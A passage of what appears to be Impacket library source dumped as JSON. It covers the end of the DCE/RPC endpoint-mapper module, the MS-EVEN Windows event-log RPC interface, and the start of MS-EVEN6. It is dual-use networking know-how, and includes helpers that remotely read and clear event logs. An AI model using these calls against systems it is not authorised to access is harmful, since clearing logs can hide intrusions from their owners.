0x1\nRPC_C_EP_MATH_BY_OBJ  = 0x2\nRPC_C_EP_MATH_BY_BOTH = 0x1\n\n# Vers Option\nRPC_C_VERS_ALL        = 0x1\nRPC_C_VERS_COMPATIBLE = 0x2\nRPC_C_VERS_EXACT      = 0x3\nRPC_C_VERS_MARJOR_ONLY= 0x4\nRPC_C_VERS_UPTO       = 0x5\n\n# Search \nRPC_NO_MORE_ELEMENTS  = 0x16c9a0d6 \n\n# Floors constants\nFLOOR_UUID_IDENTIFIER = 0x0d\n# Protocol Identifiers\nFLOOR_RPCV5_IDENTIFIER = 0x0b # DCERPC Connection Oriented v.5\nFLOOR_MSNP_IDENTIFIER  = 0x0c # MS Named Pipes (LRPC)\n# Pipe Identifier\nFLOOR_NBNP_IDENTIFIER  = 0x0f # NetBIOS Named Pipe\n# HostName Identifier\nFLOOR_MSNB_IDENTIFIER  = 0x11 # MS NetBIOS HostName\n# PortAddr Identifier\nFLOOR_TCPPORT_IDENTIFIER = 0x07\n# HTTP Protocol\nFLOOR_HTTP_IDENTIFIER  = 0x1f\n\n################################################################################\n# STRUCTURES\n################################################################################\n\n# Tower Floors: As states in C706:\n# This appendix defines the rules for encoding an protocol_tower_t (abstract)\n# into the twr_t.tower_octet_string and twr_p_t->tower_octet_string fields \n# (concrete). For historical reasons, this cannot be done using the standard NDR \n# encoding rules for marshalling and unmarshalling. A special encoding is \n# required.\n# Note that the twr_t and twr_p_t are mashalled as standard IDL data types, \n# encoded in the standard transfer syntax (for example, NDR). As far as IDL and \n# NDR are concerned, tower_octet_string is simply an opaque conformant byte \n# array. This section only defines how to construct this opaque open array of \n# octets, which contains the actual protocol tower information.\n# The tower_octet_string[ ] is a variable length array of octets that encodes \n# a single, complete protocol tower. It is encoded as follows:\n# * Addresses increase, reading from left to right.\n# * Each tower_octet_string begins with a 2-byte floor count, encoded \n#   little-endian, followed by the tower floors as follows:\n# +-------------+---------+---------+---------+---------+---------+ \n# |  floorcount |  floor1 |  floor2 |  floor3 |   ...   |  floorn | \n# +-------------+---------+---------+---------+---------+---------+\n# The number of tower floors is specific to the particular protocol tower, \n# also known as a protseq.\n# * Eachtowerfloorcontainsthefollowing:\n#   |<-   tower floor left hand side   ->|<-  tower floor right hand side  ->|\n#   +------------+-----------------------+------------+----------------------+\n#   |  LHS byte  |  protocol identifier  |  RHS byte  |  related or address  |\n#   |   count    |        data           |   count    |        data          |\n#   +------------+-----------------------+------------+----------------------+\n# The LHS (Left Hand Side) of the floor contains protocol identifier information.\n# Protocol identifier values and construction rules are defined in Appendix I.\n# The RHS (Right Hand Side) of the floor contains related or addressing \n# information. The type and encoding for the currently defined protocol \n# identifiers are given in Appendix I.\n# The floor count, LHS byte count and RHS byte count are all 2-bytes, \n# in little endian format.\n#\n# So.. we're gonna use Structure to solve this\n\n# Standard Floor Assignments\nclass EPMFloor(Structure):\n    structure = (\n        ('LHSByteCount','<H=0'),\n        ('_ProtocolData','_-ProtocolData','self[\"LHSByteCount\"]'),\n        ('ProtocolData',':'),\n        ('RHSByteCount','<H=0'),\n        ('_RelatedData','_-RelatedData','self[\"RHSByteCount\"]'),\n        ('RelatedData',':'),\n    ) \n\nclass EPMRPCInterface(EPMFloor):\n    structure = (\n        ('LHSByteCount','<H=19'),\n        ('InterfaceIdent','B=0x0d'),\n        ('InterfaceUUID','16s=\"\"'),\n        ('MajorVersion','<H=0'),\n        ('RHSByteCount','<H=2'),\n        ('MinorVersion','<H=0'),\n    )\n    def __init__(self, data = None):\n        EPMFloor.__init__(self, data)\n\n    def __str__(self):\n        aUuid = bin_to_string(self[\"InterfaceUUID\"])\n        return \"%s v%d.%d\" % (aUuid,self[\"MajorVersion\"],self[\"MinorVersion\"])\n\n    def __len__(self):\n       return 25\n\nclass EPMRPCDataRepresentation(EPMFloor):\n    structure = (\n        ('LHSByteCount','<H=19'),\n        ('DrepIdentifier','B=0x0d'),\n        ('DataRepUuid','16s=\"\"'),\n        ('MajorVersion','<H=0'),\n        ('RHSByteCount','<H=2'),\n        ('MinorVersion','<H=0'),\n    )\n    def __init__(self, data = None):\n        EPMFloor.__init__(self, data)\n\n    def __str__(self):\n        aUuid = bin_to_string(self[\"DataRepUuid\"])\n        return \"%s v%d.%d\" % (aUuid,self[\"MajorVersion\"],self[\"MinorVersion\"])\n\n    def __len__(self):\n       return 25\n\nclass EPMProtocolIdentifier(EPMFloor):\n    structure = (\n        ('LHSByteCount','<H=1'),\n        ('ProtIdentifier','B=0'),\n        ('RHSByteCount','<H=2'),\n        ('MinorVersion','<H=0'),\n    )\n    def __init__(self, data = None):\n        EPMFloor.__init__(self, data)\n\n    def __len__(self):\n       return 6\n\nclass EPMPipeName(EPMFloor):\n    structure = (\n        ('LHSByteCount','<H=1'),\n        ('PipeIdentifier','B=15'),\n        ('RHSByteCount','<H=len(PipeName)'),\n        ('PipeName',':'),\n    )\n\nclass EPMHostName(EPMFloor):\n    structure = (\n        ('LHSByteCount','<H=1'),\n        ('HostNameIdentifier','B=17'),\n        ('RHSByteCount','<H=len(HostName)'),\n        ('HostName',':'),\n    )\n\nclass EPMHostAddr(EPMFloor):\n    structure = (\n        ('LHSByteCount','<H=1'),\n        ('HostAddressId','B=9'),\n        ('RHSByteCount','<H=len(Ip4addr)'),\n        ('Ip4addr','4s=\"\"'),\n    )\n\nclass EPMPortAddr(EPMFloor):\n    structure = (\n        ('LHSByteCount','<H=1'),\n        ('PortIdentifier','B=7'),\n        ('RHSByteCount','<H=2'),\n        ('IpPort','>H=0'),\n    )\n\nEPMFloors = [ \nEPMRPCInterface,\nEPMRPCDataRepresentation,\nEPMFloor,\nEPMFloor,\nEPMFloor,\nEPMFloor\n]\n\nclass EPMTower(Structure):\n    structure = (\n        ('NumberOfFloors','<H'),\n        ('Floors',':'),\n    )\n    def fromString(self,data):\n        Structure.fromString(self,data)\n        floors = self['Floors']\n        fList = []\n        for f in range(self['NumberOfFloors']):\n            floor = EPMFloors[f](floors)\n            floors = floors[len(floor):]\n            fList.append(floor) \n        self['Floors'] = fList\n\n    #def __len__(self):\n    #   ll = 0\n    #   for i in self['Floors']:\n    #       ll += len(i) \n    #   ll += 10\n    #   ll += (4-ll%4) & 3\n    #   return ll\n\nclass RPC_IF_ID(NDRSTRUCT):\n    structure = (\n        ('Uuid', UUID ),\n        ('VersMajor', USHORT),\n        ('VersMinor', USHORT),\n    )\n\nclass PRPC_IF_ID(NDRPOINTER):\n    referent = (\n        ('Data', RPC_IF_ID),\n    )\n\nclass ept_lookup_handle_t(NDRSTRUCT):\n    structure =  (\n        ('context_handle_attributes',ULONG),\n        ('context_handle_uuid',UUID),\n    )\n\n    def __init__(self, data=None, isNDR64=False):\n        NDRSTRUCT.__init__(self, data, isNDR64)\n        self['context_handle_uuid'] = b'\\x00'*16\n\n    def isNull(self):\n        return self['context_handle_uuid'] == b'\\x00'*16\n\nclass twr_t(NDRSTRUCT):\n    structure = (\n        ('tower_length', ULONG),\n        ('tower_octet_string', NDRUniConformantArray),\n    )\n\nclass twr_p_t(NDRPOINTER):\n    referent = (\n        ('Data', twr_t),\n    )\n\nclass octet_string_t(NDRSTRUCT):\n    structure = (\n        ('count', USHORT),\n        ('value', LPBYTE),\n    )\n\nclass prot_and_addr_t(NDRSTRUCT):\n    structure = (\n        ('protocol_id', octet_string_t),\n        ('address', octet_string_t),\n    )\n\nclass protocol_tower_t(NDRSTRUCT):\n    structure = (\n        ('count', USHORT),\n        ('floors', prot_and_addr_t ),\n    )\n\nclass ept_entry_t(NDRSTRUCT):\n    structure = (\n        ('object',UUID),\n        ('tower',twr_p_t),\n        ('annotation', NDRUniVaryingArray),\n    )\n\nclass ept_entry_t_array(NDRUniConformantVaryingArray):\n    item = ept_entry_t\n\nclass twr_p_t_array(NDRUniConformantVaryingArray):\n    item = twr_p_t\n\nerror_status = ULONG\n\n################################################################################\n# RPC CALLS\n################################################################################\n\nclass ept_lookup(NDRCALL):\n    opnum = 2\n    structure = (\n        ('inquiry_type',ULONG),\n        ('object',PUUID),\n        ('Ifid',PRPC_IF_ID),\n        ('vers_option',ULONG),\n        ('entry_handle',ept_lookup_handle_t),\n        ('max_ents',ULONG),\n    )\n\nclass ept_lookupResponse(NDRCALL):\n    structure = (\n        ('entry_handle',ept_lookup_handle_t),\n        ('num_ents',ULONG),\n        ('entries',ept_entry_t_array),\n        ('status',error_status),\n    )\n\nclass ept_map(NDRCALL):\n    opnum = 3\n    structure = (\n        ('obj',PUUID),\n        ('map_tower',twr_p_t),\n        ('entry_handle',ept_lookup_handle_t),\n        ('max_towers',ULONG),\n    )\n\nclass ept_mapResponse(NDRCALL):\n    structure = (\n        ('entry_handle',ept_lookup_handle_t),\n        ('num_towers',ULONG),\n        ('ITowers',twr_p_t_array),\n        ('status',error_status),\n    )\n\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\n\ndef hept_lookup(destHost, inquiry_type = RPC_C_EP_ALL_ELTS, objectUUID = NULL, ifId = NULL, vers_option = RPC_C_VERS_ALL, dce = None):\n    if dce is None:\n        stringBinding = r'ncacn_ip_tcp:%s[135]' % destHost\n        rpctransport = transport.DCERPCTransportFactory(stringBinding)\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        disconnect = True\n    else:\n        disconnect = False\n\n    dce.bind(MSRPC_UUID_PORTMAP)\n\n    entries = []\n    entry_handle = ept_lookup_handle_t()\n\n    while True:\n        request = ept_lookup()\n        request['inquiry_type'] = inquiry_type\n        request['object'] = objectUUID\n        if ifId != NULL:\n            request['Ifid']['Uuid'] = ifId[:16]\n            request['Ifid']['VersMajor'] = ifId[16:][:2]\n            request['Ifid']['VersMinor'] = ifId[18:]\n        else:\n            request['Ifid'] = ifId\n        request['vers_option'] = vers_option\n        request['entry_handle'] = entry_handle\n        request['max_ents'] = 500\n\n        resp = dce.request(request)\n\n        for i in range(resp['num_ents']):\n            tmpEntry = {}\n            entry = resp['entries'][i]\n            tmpEntry['object'] = entry['object']\n            tmpEntry['annotation'] = b''.join(entry['annotation'])\n            tmpEntry['tower'] = EPMTower(b''.join(entry['tower']['tower_octet_string']))\n            entries.append(tmpEntry)\n\n        entry_handle = resp['entry_handle']\n        if entry_handle.isNull():\n            break\n\n    if disconnect is True:\n        dce.disconnect()\n\n    return entries\n\ndef hept_map(destHost, remoteIf, dataRepresentation = uuidtup_to_bin(('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')), protocol = 'ncacn_np', dce=None):\n\n    if dce is None:\n        stringBinding = r'ncacn_ip_tcp:%s[135]' % destHost\n        rpctransport = transport.DCERPCTransportFactory(stringBinding)\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        disconnect = True\n    else:\n        disconnect = False\n\n\n    dce.bind(MSRPC_UUID_PORTMAP)\n\n    tower = EPMTower()\n    interface = EPMRPCInterface()\n\n    interface['InterfaceUUID'] = remoteIf[:16]\n    interface['MajorVersion'] = unpack('<H', remoteIf[16:][:2])[0]\n    interface['MinorVersion'] = unpack('<H', remoteIf[18:])[0]\n\n    dataRep = EPMRPCDataRepresentation()\n    dataRep['DataRepUuid'] = dataRepresentation[:16]\n    dataRep['MajorVersion'] = unpack('<H', dataRepresentation[16:][:2])[0]\n    dataRep['MinorVersion'] = unpack('<H', dataRepresentation[18:])[0]\n\n    protId = EPMProtocolIdentifier()\n    protId['ProtIdentifier'] = FLOOR_RPCV5_IDENTIFIER\n\n    if protocol == 'ncacn_np':\n        pipeName = EPMPipeName()\n        pipeName['PipeName'] = b'\\x00'\n\n        hostName = EPMHostName()\n        hostName['HostName'] = b('%s\\x00' % destHost)\n        transportData = pipeName.getData() + hostName.getData()\n\n    elif protocol == 'ncacn_ip_tcp':\n        portAddr = EPMPortAddr()\n        portAddr['IpPort'] = 0\n\n        hostAddr = EPMHostAddr()\n        import socket\n        hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0')\n        transportData = portAddr.getData() + hostAddr.getData()\n    elif protocol == 'ncacn_http':\n        portAddr = EPMPortAddr()\n        portAddr['PortIdentifier'] = FLOOR_HTTP_IDENTIFIER\n        portAddr['IpPort'] = 0\n\n        hostAddr = EPMHostAddr()\n        import socket\n        hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0')\n        transportData = portAddr.getData() + hostAddr.getData()\n\n    else:\n        LOG.error('%s not support for hetp_map()' % protocol)\n        if disconnect is True:\n            dce.disconnect()\n        return None\n\n    tower['NumberOfFloors'] = 5\n    tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + transportData\n\n    request = ept_map()\n    request['max_towers'] = 4\n    request['map_tower']['tower_length'] = len(tower)\n    request['map_tower']['tower_octet_string'] = tower.getData()\n\n    # Under Windows 2003 the Referent IDs cannot be random\n    # they must have the following specific values\n    # otherwise we get a rpc_x_bad_stub_data exception\n    request.fields['obj'].fields['ReferentID'] = 1\n    request.fields['map_tower'].fields['ReferentID'] = 2\n\n    resp = dce.request(request)\n\n    tower = EPMTower(b''.join(resp['ITowers'][0]['Data']['tower_octet_string']))\n    # Now let's parse the result and return an stringBinding\n    result = None\n    if protocol == 'ncacn_np':\n        # Pipe Name should be the 4th floor\n        pipeName = EPMPipeName(tower['Floors'][3].getData())\n        result = 'ncacn_np:%s[%s]' % (destHost, pipeName['PipeName'].decode('utf-8')[:-1])\n    elif protocol == 'ncacn_ip_tcp':\n        # Port Number should be the 4th floor\n        portAddr = EPMPortAddr(tower['Floors'][3].getData())\n        result = 'ncacn_ip_tcp:%s[%s]' % (destHost, portAddr['IpPort'])\n    elif protocol == 'ncacn_http':\n        # Port Number should be the 4th floor\n        portAddr = EPMPortAddr(tower['Floors'][3].getData())\n        result = 'ncacn_http:%s[%s]' % (destHost, portAddr['IpPort'])\n    if disconnect is True:\n        dce.disconnect()\n    return result\n\ndef PrintStringBinding(floors):\n    tmp_address = ''\n    for floor in floors[3:]:\n        if floor['ProtocolData'] == b'\\x07':\n            tmp_address = 'ncacn_ip_tcp:%%s[%d]' % unpack('!H',floor['RelatedData'])\n        elif floor['ProtocolData'] == b'\\x08':\n            tmp_address = 'ncadg_ip_udp:%%s[%d]' % unpack('!H',floor['RelatedData'])\n        elif floor['ProtocolData'] == b'\\x09':\n            tmp_address2 = socket.inet_ntoa(floor['RelatedData'])\n            if tmp_address != '':\n                return tmp_address % tmp_address2\n            else:\n                return 'IP: %s' % tmp_address2\n        elif floor['ProtocolData'] == b'\\x0c':\n            tmp_address = 'ncacn_spx:~%%s[%d]' % unpack('!H',floor['RelatedData'])\n        elif floor['ProtocolData'] == b'\\x0d':\n            n = len(floor['RelatedData'])\n            tmp_address2 = ('%02X' * n) % unpack(\"%dB\" % n, floor['RelatedData'])\n\n            if tmp_address != '':\n                return tmp_address % tmp_address2\n            else:\n                return 'SPX: %s' % tmp_address2\n        elif floor['ProtocolData'] == b'\\x0e':\n            tmp_address = 'ncadg_ipx:~%%s[%d]' % unpack('!H',floor['RelatedData'])\n        elif floor['ProtocolData'] == b'\\x0f':\n            tmp_address = 'ncacn_np:%%s[%s]' % floor['RelatedData'][:len(floor['RelatedData'])-1].decode('utf-8')\n        elif floor['ProtocolData'] == b'\\x10':\n            return 'ncalrpc:[%s]' % floor['RelatedData'][:len(floor['RelatedData'])-1].decode('utf-8')\n        elif floor['ProtocolData'] == b'\\x01' or floor['ProtocolData'] == b'\\x11':\n            if tmp_address != '':\n                return tmp_address % floor['RelatedData'][:len(floor['RelatedData'])-1].decode('utf-8')\n            else:\n                return 'NetBIOS: %s' % floor['RelatedData'].decode('utf-8')\n        elif floor['ProtocolData'] == b'\\x1f':\n            tmp_address = 'ncacn_http:%%s[%d]' % unpack('!H',floor['RelatedData'])\n        else:\n            return 'unknown_proto_0x%x:[0]' % ord(floor['ProtocolData'] )\n"
  },
  {
    "path": "impacket/dcerpc/v5/even.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-EVEN] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#   Itamar Mizrahi (@MrAnde7son)\n#\nfrom __future__ import division\nfrom __future__ import print_function\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDR, NDRPOINTERNULL, NDRUniConformantArray\nfrom impacket.dcerpc.v5.dtypes import ULONG, LPWSTR, RPC_UNICODE_STRING, LPSTR, NTSTATUS, NULL, PRPC_UNICODE_STRING, PULONG, USHORT, PRPC_SID, LPBYTE\nfrom impacket.dcerpc.v5.lsad import PRPC_UNICODE_STRING_ARRAY\nfrom impacket.structure import Structure\nfrom impacket import nt_errors\nfrom impacket.uuid import uuidtup_to_bin\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\n\nMSRPC_UUID_EVEN  = uuidtup_to_bin(('82273FDC-E32A-18C3-3F78-827929DC23EA','0.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in nt_errors.ERROR_MESSAGES:\n            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]\n            return 'EVEN SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'EVEN SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 2.2.2 EventType\nEVENTLOG_SUCCESS           = 0x0000\nEVENTLOG_ERROR_TYPE        = 0x0001\nEVENTLOG_WARNING_TYPE      = 0x0002\nEVENTLOG_INFORMATION_TYPE  = 0x0004\nEVENTLOG_AUDIT_SUCCESS     = 0x0008\nEVENTLOG_AUDIT_FAILURE     = 0x0010\n\n# 2.2.7 EVENTLOG_HANDLE_A and EVENTLOG_HANDLE_W\n#EVENTLOG_HANDLE_A\nEVENTLOG_HANDLE_W = LPWSTR\n\n# 2.2.9 Constants Used in Method Definitions\nMAX_STRINGS      = 0x00000100\nMAX_SINGLE_EVENT = 0x0003FFFF\nMAX_BATCH_BUFF   = 0x0007FFFF\n\n# 3.1.4.7 ElfrReadELW (Opnum 10)\nEVENTLOG_SEQUENTIAL_READ = 0x00000001\nEVENTLOG_SEEK_READ       = 0x00000002\n\nEVENTLOG_FORWARDS_READ   = 0x00000004\nEVENTLOG_BACKWARDS_READ  = 0x00000008\n\n################################################################################\n# STRUCTURES\n################################################################################\n\nclass IELF_HANDLE(NDRSTRUCT):\n    structure =  (\n        ('Data','20s=\"\"'),\n    )\n    def getAlignment(self):\n        return 1\n\n# 2.2.3 EVENTLOGRECORD\nclass EVENTLOGRECORD(Structure):\n    structure = (\n        ('Length','<L=0'),\n        ('Reserved','<L=0'),\n        ('RecordNumber','<L=0'),\n        ('TimeGenerated','<L=0'),\n        ('TimeWritten','<L=0'),\n        ('EventID','<L=0'),\n        ('EventType','<H=0'),\n        ('NumStrings','<H=0'),\n        ('EventCategory','<H=0'),\n        ('ReservedFlags','<H=0'),\n        ('ClosingRecordNumber','<L=0'),\n        ('StringOffset','<L=0'),\n        ('UserSidLength','<L=0'),\n        ('UserSidOffset','<L=0'),\n        ('DataLength','<L=0'),\n        ('DataOffset','<L=0'),\n        ('SourceName','z'),\n        ('Computername','z'),\n        ('UserSidPadding',':'),\n        ('_UserSid','_-UserSid', 'self[\"UserSidLength\"]'),\n        ('UserSid',':'),\n        ('Strings',':'),\n        ('_Data','_-Data', 'self[\"DataLength\"]'),\n        ('Data',':'),\n        ('Padding',':'),\n        ('Length2','<L=0'),\n    )\n\n# 2.2.4 EVENTLOG_FULL_INFORMATION\nclass EVENTLOG_FULL_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('dwFull', ULONG),\n    )\n\n# 2.2.8 RPC_CLIENT_ID\nclass RPC_CLIENT_ID(NDRSTRUCT):\n    structure = (\n        ('UniqueProcess', ULONG),\n        ('UniqueThread', ULONG),\n    )\n\n# 2.2.12 RPC_STRING\nclass RPC_STRING(NDRSTRUCT):\n    structure = (\n        ('Length','<H=0'),\n        ('MaximumLength','<H=0'),\n        ('Data',LPSTR),\n    )\n\n    def __setitem__(self, key, value):\n        if key == 'Data' and isinstance(value, NDR) is False:\n            self['Length'] = len(value)\n            self['MaximumLength'] = len(value)\n        return NDRSTRUCT.__setitem__(self, key, value)\n\n    def dump(self, msg = None, indent = 0):\n        if msg is None: msg = self.__class__.__name__\n        if msg != '':\n            print(\"%s\" % msg, end=' ')\n\n        if isinstance(self.fields['Data'] , NDRPOINTERNULL):\n            print(\" NULL\", end=' ')\n        elif self.fields['Data']['ReferentID'] == 0:\n            print(\" NULL\", end=' ')\n        else:\n            return self.fields['Data'].dump('',indent)\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.1.4.9 ElfrClearELFW (Opnum 0)\nclass ElfrClearELFW(NDRCALL):\n    opnum = 0\n    structure = (\n       ('LogHandle', IELF_HANDLE),\n       ('BackupFileName', PRPC_UNICODE_STRING),\n    )\n\nclass ElfrClearELFWResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.11 ElfrBackupELFW (Opnum 1)\nclass ElfrBackupELFW(NDRCALL):\n    opnum = 1\n    structure = (\n       ('LogHandle', IELF_HANDLE),\n       ('BackupFileName', RPC_UNICODE_STRING),\n    )\n\nclass ElfrBackupELFWResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.21 ElfrCloseEL (Opnum 2)\nclass ElfrCloseEL(NDRCALL):\n    opnum = 2\n    structure = (\n        ('LogHandle', IELF_HANDLE),\n    )\n\nclass ElfrCloseELResponse(NDRCALL):\n    structure = (\n        ('LogHandle', IELF_HANDLE),\n        ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.18 ElfrNumberOfRecords (Opnum 4)\nclass ElfrNumberOfRecords(NDRCALL):\n    opnum = 4\n    structure = (\n        ('LogHandle', IELF_HANDLE),\n    )\n\nclass ElfrNumberOfRecordsResponse(NDRCALL):\n    structure = (\n        ('NumberOfRecords', ULONG),\n        ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.19 ElfrOldestRecord (Opnum 5)\nclass ElfrOldestRecord(NDRCALL):\n    opnum = 5\n    structure = (\n        ('LogHandle', IELF_HANDLE),\n    )\n\nclass ElfrOldestRecordResponse(NDRCALL):\n    structure = (\n        ('OldestRecordNumber', ULONG),\n        ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.3 ElfrOpenELW (Opnum 7)\nclass ElfrOpenELW(NDRCALL):\n    opnum = 7\n    structure = (\n       ('UNCServerName', EVENTLOG_HANDLE_W),\n       ('ModuleName', RPC_UNICODE_STRING),\n       ('RegModuleName', RPC_UNICODE_STRING),\n       ('MajorVersion', ULONG),\n       ('MinorVersion', ULONG),\n    )\n\nclass ElfrOpenELWResponse(NDRCALL):\n    structure = (\n       ('LogHandle', IELF_HANDLE),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.5 ElfrRegisterEventSourceW (Opnum 8)\nclass ElfrRegisterEventSourceW(NDRCALL):\n    opnum = 8\n    structure = (\n       ('UNCServerName', EVENTLOG_HANDLE_W),\n       ('ModuleName', RPC_UNICODE_STRING),\n       ('RegModuleName', RPC_UNICODE_STRING),\n       ('MajorVersion', ULONG),\n       ('MinorVersion', ULONG),\n    )\n\nclass ElfrRegisterEventSourceWResponse(NDRCALL):\n    structure = (\n       ('LogHandle', IELF_HANDLE),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.1 ElfrOpenBELW (Opnum 9)\nclass ElfrOpenBELW(NDRCALL):\n    opnum = 9\n    structure = (\n       ('UNCServerName', EVENTLOG_HANDLE_W),\n       ('BackupFileName', RPC_UNICODE_STRING),\n       ('MajorVersion', ULONG),\n       ('MinorVersion', ULONG),\n    )\n\nclass ElfrOpenBELWResponse(NDRCALL):\n    structure = (\n       ('LogHandle', IELF_HANDLE),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.7 ElfrReadELW (Opnum 10)\nclass ElfrReadELW(NDRCALL):\n    opnum = 10\n    structure = (\n       ('LogHandle', IELF_HANDLE),\n       ('ReadFlags', ULONG),\n       ('RecordOffset', ULONG),\n       ('NumberOfBytesToRead', ULONG),\n    )\n\nclass ElfrReadELWResponse(NDRCALL):\n    structure = (\n       ('Buffer', NDRUniConformantArray),\n       ('NumberOfBytesRead', ULONG),\n       ('MinNumberOfBytesNeeded', ULONG),\n       ('ErrorCode', NTSTATUS),\n    )\n\n# 3.1.4.13 ElfrReportEventW (Opnum 11)\nclass ElfrReportEventW(NDRCALL):\n    opnum = 11\n    structure = (\n       ('LogHandle', IELF_HANDLE),\n       ('Time', ULONG),\n       ('EventType', USHORT),\n       ('EventCategory', USHORT),\n       ('EventID', ULONG),\n       ('NumStrings', USHORT),\n       ('DataSize', ULONG),\n       ('ComputerName', RPC_UNICODE_STRING),\n       ('UserSID', PRPC_SID),\n       ('Strings', PRPC_UNICODE_STRING_ARRAY),\n       ('Data', LPBYTE),\n       ('Flags', USHORT),\n       ('RecordNumber', PULONG),\n       ('TimeWritten', PULONG),\n    )\n\nclass ElfrReportEventWResponse(NDRCALL):\n    structure = (\n       ('RecordNumber', PULONG),\n       ('TimeWritten', PULONG),\n       ('ErrorCode', NTSTATUS),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n    0   : (ElfrClearELFW, ElfrClearELFWResponse),\n    1   : (ElfrBackupELFW, ElfrBackupELFWResponse),\n    2   : (ElfrCloseEL, ElfrCloseELResponse),\n    4   : (ElfrNumberOfRecords, ElfrNumberOfRecordsResponse),\n    5   : (ElfrOldestRecord, ElfrOldestRecordResponse),\n    7   : (ElfrOpenELW, ElfrOpenELWResponse),\n    8   : (ElfrRegisterEventSourceW, ElfrRegisterEventSourceWResponse),\n    9   : (ElfrOpenBELW, ElfrOpenBELWResponse),\n    10  : (ElfrReadELW, ElfrReadELWResponse),\n    11  : (ElfrReportEventW, ElfrReportEventWResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef hElfrOpenBELW(dce, backupFileName = NULL):\n    request = ElfrOpenBELW()\n    request['UNCServerName'] = NULL\n    request['BackupFileName'] = backupFileName\n    request['MajorVersion'] = 1\n    request['MinorVersion'] = 1\n    return dce.request(request)\n\ndef hElfrOpenELW(dce, moduleName = NULL, regModuleName = NULL):\n    request = ElfrOpenELW()\n    request['UNCServerName'] = NULL\n    request['ModuleName'] = moduleName\n    request['RegModuleName'] = regModuleName\n    request['MajorVersion'] = 1\n    request['MinorVersion'] = 1\n    return dce.request(request)\n\ndef hElfrCloseEL(dce, logHandle):\n    request = ElfrCloseEL()\n    request['LogHandle'] = logHandle\n    resp = dce.request(request)\n    return resp\n\ndef hElfrRegisterEventSourceW(dce, moduleName = NULL, regModuleName = NULL):\n    request = ElfrRegisterEventSourceW()\n    request['UNCServerName'] = NULL\n    request['ModuleName'] = moduleName\n    request['RegModuleName'] = regModuleName\n    request['MajorVersion'] = 1\n    request['MinorVersion'] = 1\n    return dce.request(request)\n\ndef hElfrReadELW(dce, logHandle = '', readFlags = EVENTLOG_SEEK_READ|EVENTLOG_FORWARDS_READ,\n                 recordOffset = 0, numberOfBytesToRead = MAX_BATCH_BUFF):\n    request = ElfrReadELW()\n    request['LogHandle'] = logHandle\n    request['ReadFlags'] = readFlags\n    request['RecordOffset'] = recordOffset\n    request['NumberOfBytesToRead'] = numberOfBytesToRead\n    return dce.request(request)\n\ndef hElfrClearELFW(dce, logHandle = '', backupFileName = NULL):\n    request = ElfrClearELFW()\n    request['LogHandle'] = logHandle\n    request['BackupFileName'] = backupFileName\n    return dce.request(request)\n\ndef hElfrBackupELFW(dce, logHandle = '', backupFileName = NULL):\n    request = ElfrBackupELFW()\n    request['LogHandle'] = logHandle\n    request['BackupFileName'] = backupFileName\n    return dce.request(request)\n\ndef hElfrNumberOfRecords(dce, logHandle):\n    request = ElfrNumberOfRecords()\n    request['LogHandle'] = logHandle\n    resp = dce.request(request)\n    return resp\n\ndef hElfrOldestRecordNumber(dce, logHandle):\n    request = ElfrOldestRecord()\n    request['LogHandle'] = logHandle\n    resp = dce.request(request)\n    return resp\n"
  },
  {
    "path": "impacket/dcerpc/v5/even6.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Copyright (c) 2017 @MrAnde7son\n#\n# Description:\n#   Initial [MS-EVEN6] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Itamar (@MrAnde7son)\n#\nfrom impacket import system_errors\nfrom impacket.dcerpc.v5.dtypes import WSTR, DWORD, LPWSTR, ULONG, LARGE_INTEGER, WORD, BYTE, 